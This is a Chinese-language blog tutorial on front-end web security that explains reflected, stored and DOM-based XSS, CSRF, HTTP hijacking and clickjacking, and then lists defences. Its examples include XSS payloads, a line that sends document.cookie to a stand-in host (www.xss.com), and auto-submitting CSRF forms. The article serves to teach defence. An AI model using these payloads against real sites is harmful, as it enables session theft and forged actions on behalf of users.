前端安全知多少

avatar
公众号:转转技术

说到安全,大家脑海浮现的一定是这种场景。

他们噼噼啪啪敲几行代码,就能控制对方电脑于千里之外,酷到没朋友。

但这些似乎离前端还挺远的。常常听到什么SQL注入,缓冲区溢出,DDoS,CC攻击,好像和前端也没啥关系,渐渐的会觉得安全是后端的的事。

但真的是这样的吗?想起来前不久公司安全部门统计的漏洞列表

看,前端经典的XSS漏洞占据了90%以上。所以学习和了解前端安全方面的知识,还是十分有必要的。

接下来我们聊聊前端安全,主要从以下几块来讲

一、XSS攻击与防御

二、CSRF攻击

三、HTTP劫持与对策

四、界面操作劫持

五、防御手段


一、XSS攻击与防御

当年写过这样一段代码,form提交表单后,如果有错误,需要前台alert出来。

偷懒采用了如下思路

1、提交表单之后再次重定向到当前页面,然后把错误信息放入url中。

2、controller层把url参数传入模板。

3、模板部分如果变量有值,就alert出来。

代码大概如下

  1. // 假设提交表单之后定位到这个页面

  2. // http://www.wrong.com?msg=param-error

  3. // 页面上模板上,为了省心,有这么一段

  4. <script>

  5.    // … 省略一些代码,{{}} 是模板引擎引入变量的语法

  6.    alert('{{query.msg}}');

  7. </script>

乍一看,这么写没什么问题。{{query.msg}}会被替换成 param-error。模板被解析成html的时候,会变为alert('param-error’);

但是,如果有人不怀好意,访问这样一个url

http://www.wrong.com?msg=');alert(document.cookie);('

然后代码就变成了

alert('');alert(document.cookie);('');

访问这个页面,弹出了cookie。

当然,弹出cookie没有太多价值,但如果我们把代码改成

new Image().src = 'http://www.xss.com?data=' + document.cookie;

这样,我们就把目标用户的cookie发送到我们的服务器上了。而cookie中极有可能存在用户的隐私数据甚至是用户的登录session。

当然,这只是一个最简单的例子,用来说明攻击的原理。实际情况下,我们会遇到很多限制,比如浏览器的自动转码,cookie的only http标识等。

XSS的攻击有很多种方式,通常情况下,我们会对XSS攻击做如下分类

1、反射型XSS

发请求时,XSS代码出现在URL中,提交给服务端。服务端返回的内容,也带上了这段XSS代码。最后浏览器执行XSS代码。

通常情况是攻击者找到有XSS漏洞的网站,然后构造一个连接,就像这种

http://www.hasxss.com?x=<script>alert(document.cookie)</script>

带有攻击效果的链接

然后诱导你点击

通常他们会把链接短链一下迷惑你,就好比

http://dwz.cn/woshiduanwangzhi

PS:通常还会加上一句类似 ~你们看看王宝强儿子长得像谁~ 这种标题😓。

然后你点击进去就中招了。

2、存储型XSS

存储型和反射型的区别就是,提交的XSS代码会存储在服务器端。这种XSS也是最危险的。

举个例子,我们的网站允许用户设置一段个性签名,会显示在个人主页。

然后用户签名设置为

<script>alert(document.cookie)<script>

数据库存储这段代码,然后页面显示出来。

如果这个过程中没有经过任何转义,那么这段html就直接执行了。这样,所有访问你个人主页的用户,就都中招了。

3、DOM XSS

这种和上面说的两种的区别就在于,DOM XSS不需要服务端参与,可以认为是前端代码漏洞导致。

举个例子,有这样一段代码

  1. <script>

  2.    eval(location.hash.substr(1));

  3. </script>

  4. // 而这个时候,如果用户在网址后面加上恶意代码

  5. http://www.xss.com#alert(document.cookie)

这样就完成了攻击了。

这也是我们常说eval不安全的原因,传入eval的字符串,天知道会是什么东西,但无论是什么,它都会去执行。

说了XSS的类型,我们再说说防御的手段。

1、过滤转义输入输出

用户输入的情况,通常来讲也是HTTP请求。GET请求的url参数。POST请求的body数据。

比如我们接收的数据是用户年龄,那么在后端,需要判断一下数据是否是Number,这样才能让恶意攻击者没有可乘之机。

对于一些特殊符号,我们需要对其进行转义

  1. & --> &amp;

  2. < --> &lt;

  3. > --> &gt;

  4. " --> &quot;

  5. ' --> &#x27;

  6. / --> &#x2F;

这个一方面是后端接收这些代码时候的转义存储,一方面是前端在显示的时候,需要把它们转成html实体。

2、避免使用eval,new Function等执行字符串的方法,除非确定字符串和用户输入无关。

3、使用innerHTML,document.write的时候,如果数据是用户输入的,那么需要对关键字符都进行过滤与转义。

4、对于非客户端cookie,比如保存用户凭证的session,务必标识为http only,这样js就获取不到这个cookie值了,安全性得到提高。

对于XSS的防御,提高编码的安全意识是一方面。

还有一种方式是主动防御。也就是当发现页面有XSS攻击时候,主动上报。

至于如何检测到,目前的方式大多是对事件和脚本拦截。判断是否有恶意代码。

二、CSRF攻击

CSRF全称是跨站请求伪造。这么说挺模糊的,我们来具体看下例子就能明白

假设 新浪微博关注某个人的请求是

GET www.weibo.com/attention?userid=123

所以,当用户处于登录状态下,并且访问如上链接,便会关注userid为123的用户。

那么我们可以做出如下攻击。

编写一个恶意页面 www.csrf.com。然后在页面上加上一句

<img src=“www.weibo.com/attention?userid=123” />

这时,用户只要访问了这个页面,便发起了关注的请求。并且该请求还是带上了登录cookie的,因为cookie是跟随着请求域名一起的。

上面这个例子是一个太理想的情况,又例如实际关注的请求,是一个POST请求,那应该怎么办呢?

其实这也很简单,虽然发送post请求会有跨域限制,但是我们可以使用js动态生成一个form表单。然后把地址指向上述url,最后再加上自动提交即可。

  1. function createForm() {

  2.  var form = document.createElement('form');

  3.  document.body.appendChild(form);

  4.  form.method = 'post';

  5.  return form;

  6. }

  7. function createInput() {

  8.  // 省略一些代码,创建一些input,让form使用appendChild放进去

  9. }

  10. var f = createForm();

  11. // 插入一些数据

  12. f.action = 'http://www.csrf.com';

  13. f.submit();

CSRF的防御方式

  1. 检测http referer是否是同域名,通常来讲,用户提交的请求,referer应该是来来自站内地址,所以如果发现referer中地址异常,那么很可能是遭到了CSRF攻击。

  2. 避免登录的session长时间存储在客户端中。

  3. 关键请求使用验证码或者token机制。在一些十分关键的操作,比如交易付款环节。这种请求中,加入验证码,可以防止被恶意用户攻击。token机制也有一定的防御作用。具体来说就是服务器每次返回客户端页面的时候,在页面中埋上一个token字段,例如 <input type=“hidden” name=“csrftoken” value=“abcd">

    之后,客户端请求的时候带上这个token,使用这个机制后,攻击者也就很难发起CSRF攻击了。

三、HTTP劫持与对策

HTTP劫持严格上来说不能完全算前端安全的范畴。因为导致这种情况的主要是运营商。

先简单解释下HTTP劫持吧,当我们访问页面的时候,运营商在页面的HTML代码中,插入弹窗、广告等HTML代码,来获取相应的利益。

针对这种情况,最好的解决方式也就是使用HTTPS,加密过后,他们就没法插入广告代码了。

那么对于还没有升级的情况,我们可以努力让影响降到最低。

情况一:页面被iframe嵌套了

这种情况还是比较简单的。对于跨域iframe,我们是可以改变父页面地址的

所以,我们在代码中加上

  1. if (self != top) {

  2. top.location = location.href;

  3. }

情况二:页面多出了广告的html代码或者插入广告的脚本

这种情况下,我们能做的有限。

一方面我们可以检测是否有新增的html。监控检测判断,发现是广告就移除掉。

另一方面,对于使用document.write方法写入的广告,我们可以通过重写document.write方法来达到删除广告的目的

四、界面操作劫持

界面操作劫持是一种基于视觉欺骗的劫持攻击。通过在页面上覆盖一个iframe + opacity:0的页面,让用户误点击。

这么解释很苍白,我们来看一下具体案例

假设我开发的页面是百度

我希望诱导别人关注我的新浪微博。

这时,我可以选择在我的页面中使用iframe嵌入微博页面

这里我没有把opacity设置为0。如果设置为0的话。那么就完成了一次界面操作劫持了。你以为点击了百度一下,实际点击的是关注。 

五、防御方式

说了这么多攻击方式,但是我们的web还是很安全的是不是?

上面列举的例子都不具备实际攻击作用,因为浏览器厂商,W3C等已经做了很多安全工作,让我们的页面可以安稳的运行起来。但是道高一尺魔高一丈,我们要合理运用防护手段,才能让页面不被攻击。

1、HTTP响应头,在响应可以通过这些字段来提高安全性

  • X-Frame-Options 禁止页面被加载进iframe中

  • X-XSS-Protection 对于反射型XSS进行一些防御

  • X-Content-Security-Policy 这个就比较复杂了,可选项很多,用来设置允许的的资源来源以及对脚本执行环境的控制等。

2、使用HTTPS、使用HTTP ONLY的cookie。cookie的secure字段设置为true

3、GET请求与POST请求,要严格遵守规范,不要混用,不要将一些危险的提交使用JSONP完成。